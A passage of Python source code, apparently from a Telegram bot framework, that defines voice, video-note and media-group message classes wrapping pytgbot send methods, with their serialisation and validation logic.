Telegram clients to display the file as a playable voice message. For this to work, your audio must be in an .OGG file encoded with OPUS (other formats may be sent as Audio or Document). On success, the sent Message is returned. Bots can currently send voice messages of up to 50 MB in size, this limit may be changed in the future. https://core.telegram.org/bots/api#sendvoice Parameters: :param voice: Audio file to send. Pass a file_id as String to send a file that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a file from the Internet, or upload a new one using multipart/form-data. More info on Sending Files » :type voice: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param caption: Voice message caption, 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the voice message caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param duration: Duration of the voice message in seconds :type duration: int :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(VoiceMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(voice, InputFile, unicode_type, parameter_name="voice") self.voice = voice assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(caption, None, unicode_type, parameter_name="caption") self.caption = caption assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(caption_entities, None, list, parameter_name="caption_entities") self.caption_entities = caption_entities assert_type_or_raise(duration, None, int, parameter_name="duration") self.duration = duration assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_voice( voice=self.voice, chat_id=self.receiver, reply_to_message_id=self.reply_id, caption=self.caption, parse_mode=self.parse_mode, caption_entities=self.caption_entities, duration=self.duration, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this VoiceMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(VoiceMessage, self).to_array() if isinstance(self.voice, InputFile): array['voice'] = self.voice.to_array() # type InputFile elif isinstance(self.voice, str): array['voice'] = u(self.voice) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['caption'] = u(self.caption) # py2: type unicode, py3: type str array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['caption_entities'] = PytgbotApiBot._as_array(self.caption_entities) # type list of MessageEntity array['duration'] = int(self.duration) # type int array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the VoiceMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(VoiceMessage, VoiceMessage).validate_array(array) if isinstance(array.get('voice'), InputFile): data['voice'] = InputFile.from_array(array.get('voice')) elif isinstance(array.get('voice'), str): data['voice'] = u(array.get('voice')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['caption'] = u(array.get('caption')) if array.get('caption') is not None else None data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['caption_entities'] = MessageEntity.from_array_list(array.get('caption_entities'), list_level=1) if array.get('caption_entities') is not None else None data['duration'] = int(array.get('duration')) if array.get('duration') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new VoiceMessage from a given dictionary. :return: new VoiceMessage instance. :rtype: VoiceMessage """ if not array: # None or {} return None # end if data = VoiceMessage.validate_array(array) return VoiceMessage(**data) # end def from_array def __str__(self): """ Implements `str(voicemessage_instance)` """ return "VoiceMessage(voice={self.voice!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, duration={self.duration!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(voicemessage_instance)` """ return "VoiceMessage(voice={self.voice!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, caption={self.caption!r}, parse_mode={self.parse_mode!r}, caption_entities={self.caption_entities!r}, duration={self.duration!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in voicemessage_instance` """ return ( key in ["voice", "receiver", "reply_id", "caption", "parse_mode", "caption_entities", "duration", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class VoiceMessage class VideoNoteMessage(ReturnableMessageBase): """ As of v.4.0, Telegram clients support rounded square mp4 videos of up to 1 minute long. Use this method to send video messages. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendvideonote Parameters: :param video_note: Video note to send. Pass a file_id as String to send a video note that exists on the Telegram servers (recommended) or upload a new video using multipart/form-data. More info on Sending Files ». Sending video notes by a URL is currently unsupported :type video_note: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param duration: Duration of sent video in seconds :type duration: int :param length: Video width and height, i.e. diameter of the video message :type length: int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, video_note, receiver=None, reply_id=DEFAULT_MESSAGE_ID, duration=None, length=None, thumb=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ As of v.4.0, Telegram clients support rounded square mp4 videos of up to 1 minute long. Use this method to send video messages. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendvideonote Parameters: :param video_note: Video note to send. Pass a file_id as String to send a video note that exists on the Telegram servers (recommended) or upload a new video using multipart/form-data. More info on Sending Files ». Sending video notes by a URL is currently unsupported :type video_note: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param duration: Duration of sent video in seconds :type duration: int :param length: Video width and height, i.e. diameter of the video message :type length: int :param thumb: Thumbnail of the file sent; can be ignored if thumbnail generation for the file is supported server-side. The thumbnail should be in JPEG format and less than 200 kB in size. A thumbnail's width and height should not exceed 320. Ignored if the file is not uploaded using multipart/form-data. Thumbnails can't be reused and can be only uploaded as a new file, so you can pass "attach://<file_attach_name>" if the thumbnail was uploaded using multipart/form-data under <file_attach_name>. More info on Sending Files » :type thumb: pytgbot.api_types.sendable.files.InputFile | str|unicode :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(VideoNoteMessage, self).__init__() from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(video_note, InputFile, unicode_type, parameter_name="video_note") self.video_note = video_note assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(duration, None, int, parameter_name="duration") self.duration = duration assert_type_or_raise(length, None, int, parameter_name="length") self.length = length assert_type_or_raise(thumb, None, InputFile, unicode_type, parameter_name="thumb") self.thumb = thumb assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_video_note( video_note=self.video_note, chat_id=self.receiver, reply_to_message_id=self.reply_id, duration=self.duration, length=self.length, thumb=self.thumb, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this VideoNoteMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(VideoNoteMessage, self).to_array() if isinstance(self.video_note, InputFile): array['video_note'] = self.video_note.to_array() # type InputFile elif isinstance(self.video_note, str): array['video_note'] = u(self.video_note) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['duration'] = int(self.duration) # type int array['length'] = int(self.length) # type int if isinstance(self.thumb, InputFile): array['thumb'] = self.thumb.to_array() # type InputFile elif isinstance(self.thumb, str): array['thumb'] = u(self.thumb) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the VideoNoteMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(VideoNoteMessage, VideoNoteMessage).validate_array(array) if isinstance(array.get('video_note'), InputFile): data['video_note'] = InputFile.from_array(array.get('video_note')) elif isinstance(array.get('video_note'), str): data['video_note'] = u(array.get('video_note')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['duration'] = int(array.get('duration')) if array.get('duration') is not None else None data['length'] = int(array.get('length')) if array.get('length') is not None else None if array.get('thumb') is None: data['thumb'] = None elif isinstance(array.get('thumb'), InputFile): data['thumb'] = InputFile.from_array(array.get('thumb')) elif isinstance(array.get('thumb'), str): data['thumb'] = u(array.get('thumb')) else: raise TypeError('Unknown type, must be one of InputFile, str or None.') # end if data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new VideoNoteMessage from a given dictionary. :return: new VideoNoteMessage instance. :rtype: VideoNoteMessage """ if not array: # None or {} return None # end if data = VideoNoteMessage.validate_array(array) return VideoNoteMessage(**data) # end def from_array def __str__(self): """ Implements `str(videonotemessage_instance)` """ return "VideoNoteMessage(video_note={self.video_note!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, duration={self.duration!r}, length={self.length!r}, thumb={self.thumb!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(videonotemessage_instance)` """ return "VideoNoteMessage(video_note={self.video_note!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, duration={self.duration!r}, length={self.length!r}, thumb={self.thumb!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in videonotemessage_instance` """ return ( key in ["video_note", "receiver", "reply_id", "duration", "length", "thumb", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class VideoNoteMessage class MediaGroupMessage(ReturnableMessageBase): """ Use this method to send a group of photos, videos, documents or audios as an album. Documents and audio files can be only grouped in an album with messages of the same type. On success, an array of Messages that were sent is returned. https://core.telegram.org/bots/api#sendmediagroup Parameters: :param media: A JSON-serialized array describing messages to be sent, must include 2-10 items :type media: list of pytgbot.api_types.sendable.input_media.InputMediaAudio | list of pytgbot.api_types.sendable.input_media.InputMediaDocument | list of pytgbot.api_types.sendable.input_media.InputMediaPhoto | list of pytgbot.api_types.sendable.input_media.InputMediaVideo Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param disable_notification: Sends messages silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool """ def __init__(self, media, receiver=None, reply_id=DEFAULT_MESSAGE_ID, disable_notification=None, allow_sending_without_reply=None): """ Use this method to send a group of photos, videos, documents or audios as an album. Documents and audio files can be only grouped in an album with messages of the same type. On success, an array of Messages that were sent is returned. https://core.telegram.org/bots/api#sendmediagroup Parameters: :param media: A JSON-serialized array describing messages to be sent, must include 2-10 items :type media: list of pytgbot.api_types.sendable.input_media.InputMediaAudio | list of pytgbot.api_types.sendable.input_media.InputMediaDocument | list of pytgbot.api_types.sendable.input_media.InputMediaPhoto | list of pytgbot.api_types.sendable.input_media.InputMediaVideo Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param disable_notification: Sends messages silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool """ super(MediaGroupMessage, self).__init__() from pytgbot.api_types.sendable.input_media import InputMediaAudio from pytgbot.api_types.sendable.input_media import InputMediaDocument from pytgbot.api_types.sendable.input_media import InputMediaPhoto from pytgbot.api_types.sendable.input_media import InputMediaVideo assert_type_or_raise(media, list, list, list, list, parameter_name="media") self.media = media assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_media_group( media=self.media, chat_id=self.receiver, reply_to_message_id=self.reply_id, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, ) # end def send def to_array(self): """ Serializes this MediaGroupMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.sendable.input_media import InputMediaAudio from pytgbot.api_types.sendable.input_media import InputMediaDocument from pytgbot.api_types.sendable.input_media import InputMediaPhoto from pytgbot.api_types.sendable.input_media import InputMediaVideo array = super(MediaGroupMessage, self).to_array() if isinstance(self.media, InputMediaAudio): array['media'] = PytgbotApiBot._as_array(self.media) # type list of InputMediaAudio | list of InputMediaDocument | list of InputMediaPhoto | list of InputMediaVideo elif isinstance(self.media, InputMediaDocument): array['media'] = PytgbotApiBot._as_array(self.media) # type list of InputMediaAudio | list of InputMediaDocument | list of InputMediaPhoto | list of InputMediaVideo elif isinstance(self.media, InputMediaPhoto): array['media'] = PytgbotApiBot._as_array(self.media) # type list of InputMediaAudio | list of InputMediaDocument | list of InputMediaPhoto | list of InputMediaVideo elif isinstance(self.media, InputMediaVideo): array['media'] = PytgbotApiBot._as_array(self.media) # type list of InputMediaAudio | list of InputMediaDocument | list of InputMediaPhoto | list of InputMediaVideo else: raise TypeError('Unknown type, must be one of InputMediaAudio, InputMediaDocument, InputMediaPhoto, InputMediaVideo.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the MediaGroupMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.sendable.input_media import InputMediaAudio from pytgbot.api_types.sendable.input_media import InputMediaDocument from pytgbot.api_types.sendable.input_media import InputMediaPhoto from pytgbot.api_types.sendable.input_media import InputMediaVideo data = super(MediaGroupMessage, MediaGroupMessage).validate_array(array) if isinstance(array.get('media'), InputMediaAudio): data['media'] = InputMediaAudio.from_array_list(array.get('media'), list_level=1) elif isinstance(array.get('media'), InputMediaDocument): data['media'] = InputMediaDocument.from_array_list(array.get('media'), list_level=1) elif isinstance(array.get('media'), InputMediaPhoto): data['media'] = InputMediaPhoto.from_array_list(array.get('media'), list_level=1) elif isinstance(array.get('media'), InputMediaVideo): data['media'] = InputMediaVideo.from_array_list(array.get('media'), list_level=1) else: raise TypeError('Unknown type, must be one of InputMediaAudio, InputMediaDocument, InputMediaPhoto, InputMediaVideo.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new MediaGroupMessage from a given dictionary. :return: new MediaGroupMessage instance. :rtype: MediaGroupMessage """ if not array: # None or {} return None # end if data = MediaGroupMessage.validate_array(array) return MediaGroupMessage(**data) # end def from_array def __str__(self): """ Implements `str(mediagroupmessage_instance)` """ return "MediaGroupMessage(media={self.media!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(mediagroupmessage_instance)` """ return "MediaGroupMessage(media={self.media!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in mediagroupmessage_instance` """ return ( key in ["media", "receiver", "reply_id", "disable_notification", "allow_sending_without_reply"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class 